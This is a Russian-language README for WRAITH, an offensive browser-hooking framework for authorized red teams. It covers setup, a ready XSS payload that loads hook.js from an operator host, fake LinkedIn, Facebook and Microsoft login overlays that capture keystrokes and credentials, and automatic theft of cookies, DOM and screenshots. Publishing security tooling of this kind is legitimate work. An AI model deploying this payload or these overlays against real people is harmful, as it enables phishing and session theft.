
Фреймворк для перехвата браузеров, предназначенный для авторизованных red-команд и преподавателей. Перехватывает браузеры через XSS, обеспечивает интерактивное управление после эксплуатации, сбор трофеев при blind-XSS, оверлеи для социальной инженерии и учебную лабораторию.
Современный автономный фреймворк для перехвата браузеров для red-команд, исследователей безопасности и преподавателей — чистый преемник BeEF и инструментов для blind-XSS callback'ов, которыми мы пользуемся.
ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ, ИССЛЕДОВАНИЙ И ОБУЧЕНИЯ. WRAITH — это инструмент наступательной безопасности для демонстрации и тестирования фишинга / man-in-the-browser / blind-XSS техник. Используйте его только против систем и людей, на тестирование которых у вас есть явное разрешение. Вы несёте ответственность за то, как вы его используете.

В ходе нашей работы в Arcanum мы постоянно обращались к двум разным типам инструментов и хотели, чтобы они были одним целым.
С одной стороны был BeEF — Browser Exploitation Framework — для классического рабочего процесса перехватить браузер, затем работать изнутри его сессии: кейлоггер для фейкового логина, разведка локальной сети, отправка модуля живому受害者. Это инструмент, который мы использовали, чтобы сделать man-in-the-browser реальным для людей. Но он устарел, большие его части ненадёжны в современных браузерах, а оверлеи для социальной инженерии выглядят как логины десятилетней давности.
С другой стороны были наши любимые blind-XSS callback-фреймворки (XSS Hunter, ezXSS): вставьте payload в поле, и в тот момент, когда он сработает где-то, чего вы не видите, он отправит домой добычу — origin, cookies, DOM, скриншот.
Что нам всё больше было нужно — особенно когда всё больше наших целей становились экосистемами AI-приложений, где непроверенный текст проходит через агентов, выводы инструментов, очереди проверки администраторами и консоли поддержки, и выполняет JavaScript в местах, за которыми никто не наблюдает — так это единый фреймворк, который делал бы и то, и другое: интерактивное, постоянное пост-эксплуатационное управление хуком BeEF и blind-XSS callback-добычу по принципу "выстрелил и забыл", в одном payload, который надёжен в современных браузерах и выглядит как сегодняшние реальные экраны входа.
Поэтому мы создали WRAITH.
Мы выпускаем WRAITH рано и намеренно. Мы предпочитаем передать его в руки людей, которые действительно будут его использовать — и услышать, что ломается — чем держать его у себя, пока он не будет "готов".
Это означает: ожидайте шероховатостей и багов. Некоторые модули проверены в бою больше, чем другие, поведение браузеров постоянно меняется под нами (см. примечания о сетевом сканировании ниже), и API могут меняться между версиями. Если вы столкнулись с чем-то, пожалуйста, откройте issue — шаги воспроизведения, браузер + версия и ожидаемое поведение — на вес золота. PR приветствуются в соответствии с условиями участия проекта.
Самый быстрый путь. Вам понадобятся Docker + Docker Compose.
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh проведёт вас через всё:
.env в .gitignore (chmod 600),
и собирает + запускает контейнер. Консоль оператора : http://YOUR_IP:8090/operator/
Страница входа : http://YOUR_IP:8090/login (пользователь "operator")
Демо-страница жертвы : http://YOUR_IP:8090/demo/
Hook payload : http://YOUR_IP:8090/hook.js
Готовый XSS payload:
"><script src="http://YOUR_IP:8090/hook.js"></script>
Управляйте им стандартными командами compose:
docker compose logs -f # наблюдать за ним
docker compose down # остановить (сохраняет ./data)
./setup.sh # перенастроить (сменить пароль, изменить адрес, …)
Захваченные сессии сохраняются в ./data/ на хосте — никогда не встраиваются в
образ, никогда не коммитятся (.env и data/ в .gitignore).
Консоль оператора защищена входом всякий раз, когда установлен пароль оператора, с входом по имени пользователя + паролю:

npm install
npm start
Затем откройте консоль оператора на http://127.0.0.1:3000/operator/ и демо-страницу жертвы на http://127.0.0.1:3000/demo/ (во втором браузере/профиле). На localhost вход по умолчанию отключён для удобства — сервер отказывается привязываться к публичному интерфейсу без пароля оператора, так что вы не сможете случайно открыть незащищённую панель.
/hook.js — это небольшой payload. Вставьте его на любую страницу, которой вы управляете
(<script src="/hook.js"></script>), или доставьте его через XSS в вашей цели. Браузер,
который его загружает, открывает WebSocket обратно к оператору, идентифицирует себя
(браузер, ОС, IP, страница, UA), автоматически переподключается и переживает навигацию. Каждый
перехваченный браузер появляется в консоли в реальном времени, где вы выбираете его и управляете им —
полная панель управления — это главный скриншот в начале этого README: список перехваченных браузеров,
детали цели, элементы управления развёртыванием, живая лента активности и захваченные учётные данные.
Современные оверлеи фейкового входа, отображаемые в изолированном shadow DOM, чтобы они выглядели попиксельно корректно на любой хост-странице и размывали страницу позади них, как настоящее модальное окно повторной аутентификации. В комплекте LinkedIn, Facebook и Microsoft / Office 365 (аутентичная двухэтапная проверка email → пароль).

Каждый символ, который цель вводит в оверлей, передаётся в консоль в реальном времени, а отправленные учётные данные попадают в Captured Credentials — всё сохраняется, так что ничего не теряется при обновлении или перезапуске.

В тот момент, когда браузер подключается, WRAITH автоматически запускает Page Capture: ровно то, что захватывает blind-XSS фреймворк, когда ваш payload срабатывает там, где вы не можете видеть — где он сработал (origin + URL + referrer), cookies жертвы (не-HttpOnly), полный DOM и скриншот. Сбои сообщаются честно, потому что они и есть урок: HttpOnly cookies никогда не появляются, а CSP или tainting canvas из-за кросс-оригинальных изображений может заблокировать скриншот.